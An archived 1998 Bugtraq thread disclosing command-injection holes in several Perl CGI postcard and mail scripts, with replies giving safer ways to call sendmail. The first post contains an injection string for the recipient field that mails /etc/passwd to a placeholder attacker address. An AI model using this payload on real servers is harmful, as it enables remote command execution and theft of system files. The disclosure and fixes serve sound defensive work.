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Date: Mon, 9 Nov 1998 18:26:05 -0600 From: xnec <xnec@WINTERMUTE.LINUX.TC> To: BUGTRAQ@netspace.org Subject: Several new CGI vulnerabilities INFO: After looking over the perl-CGI scripts on www.cgi-resources.com, I've discovered vulnerabilities in the following: 1. HAMcards Postcard script v1.0 Beta 2 (www.hamnetcenter.com) 2. Hot Postal Services v?? (www.hotarea.com) note: the only metacharacter stripping this script does is rejecting any |'s 3. RC Bowen's Postcards v?? (www.rcbowen.com) 4. LakeWeb's File Mail and Mail List (expanded File Mail) v?? (www.lakeweb.com) EXPLOIT: Each of these are exploitable by inputing metacharacters into the recipient's email address. Each script calls something similar to: open( MAIL, "|$mailprog $email" ) # this particular line is from the LakeWeb scripts The exploit strings are simple, something like &mail evil@foobar.com < /etc/passwd&@host.com will work for each script (the @host.com is necessary because some hosts check for "@" and ".") when placed in the Recipient Email field. As a result, any command can be executed remotely without a local account with the uid of the webserver (usually "nobody" or similar, but you never know). FIX: Either fork your sendmail process, strip out metacharacters (or only allow certian characters), use open (MAIL , "|$sendmail -t") or rm -rf ./cgi-bin. -xnec ###################################################### # xnec@wintermute.linux.tc - xnec on DALnet and EFnet# ###################################################### ------------------------------------------------------------- Date: Tue, 10 Nov 1998 18:45:24 +1000 From: Karl Hanmore <avatar@ULTRA.ULTRA.NET.AU> To: BUGTRAQ@netspace.org Subject: Re: Several new CGI vulnerabilities G'day, As a related note, the WebCards program (V1.6) by Sam Kareem (webmaster@iraq.net) is subject to the same vunerability. Regards, Karl ------------------------------------------------------------- Date: Mon, 9 Nov 1998 19:45:28 -0700 From: Randal Schwartz <merlyn@STONEHENGE.COM> To: BUGTRAQ@netspace.org Subject: Re: Several new CGI vulnerabilities >>>>> "xnec" == xnec <xnec@WINTERMUTE.LINUX.TC> writes: xnec> Either fork your sendmail process, strip out metacharacters (or xnec> only allow certian characters), You cannot restrict the permitted characters of an email address. *Any* character is permitted on the left-side of an @, presuming the proper quoting is used for those more odd ones. For example, <fred&barney@stonehenge.com> is a perfectly valid email address (try it, an autoresponder responds!). xnec> use open (MAIL , "|$sendmail -t") or rm -rf xnec> ./cgi-bin. Or use Net::SMTP to pass the data directly to port 25. -- Name: Randal L. Schwartz / Stonehenge Consulting Services (503)777-0095 Keywords: Perl training, UNIX[tm] consulting, video production, skiing, flying Email: <merlyn@stonehenge.com> Snail: (Call) PGP-Key: (finger merlyn@teleport.com) Web: <A HREF="http://www.stonehenge.com/merlyn/">My Home Page!</A> Quote: "I'm telling you, if I could have five lines in my .sig, I would!" -- me ------------------------------------------------------------- Date: Tue, 10 Nov 1998 14:44:23 +0000 From: Gus <angus@INTASYS.COM> To: BUGTRAQ@netspace.org Subject: Re: Several new CGI vulnerabilities On Mon, 9 Nov 1998, xnec wrote: > > EXPLOIT: > > Each of these are exploitable by inputing metacharacters into the > recipient's email address. Each script calls something similar > to: > > open( MAIL, "|$mailprog $email" ) This is one that just won't go away, and rather than try the (frankly quite fruitless) metachar filtering route, it might be an idea for CGI providing ISP's to insist on the use of perl's Mail::Sendmail module, which cuts out any potential pipe/metachar related bugs by communicating directly w/ the SMTP server. $LOCAL_CPAN_MIRROR/authors/id/M/MI/MIVKOVIC/Mail-Sendmail-0.74.tar.gz See http://www.perl.com/CPAN for a list of mirror sites. Regards Gus -- angus@intasys.com http://www.intasys.com/~angus/ ------------------------------------------------------------- Date: Tue, 10 Nov 1998 14:43:27 -0500 From: Lincoln Stein <lstein@cshl.org> To: BUGTRAQ@netspace.org Subject: Re: Several new CGI vulnerabilities Gus writes: > On Mon, 9 Nov 1998, xnec wrote: > > > > EXPLOIT: > > > > Each of these are exploitable by inputing metacharacters into the > > recipient's email address. Each script calls something similar > > to: > > > > open( MAIL, "|$mailprog $email" ) > > This is one that just won't go away, and rather than try the (frankly > quite fruitless) metachar filtering route, it might be an idea for CGI > providing ISP's to insist on the use of perl's Mail::Sendmail module, > which cuts out any potential pipe/metachar related bugs by communicating > directly w/ the SMTP server. Net::SMTP is more likely to be installed on ISP's machines. Mail::Sendmail is a bit of an oddball. There are also other ways to avoid the fruitless metachar search and destroy mission. First off, why do people think they need to put the recipient's address on the command line in the first place? open (MAIL,"| /usr/lib/sendmail -t -oi"); print MAIL <<END; To: $mailto From: me (me\@nowhere.com) Subject: nothing much Hi there! END close MAIL; And here's a general Perl technique for opening pipes without getting the shell involved at all: open (MAIL,"|-") || exec '/usr/lib/sendmail','-t','-oi'; print MAIL <<END; To: $mailto From: me (me\@nowhere.com) Subject: nothing much Hi there! END close MAIL; Lincoln -- ======================================================================== Lincoln D. Stein Cold Spring Harbor Laboratory lstein@cshl.org Cold Spring Harbor, NY ========================================================================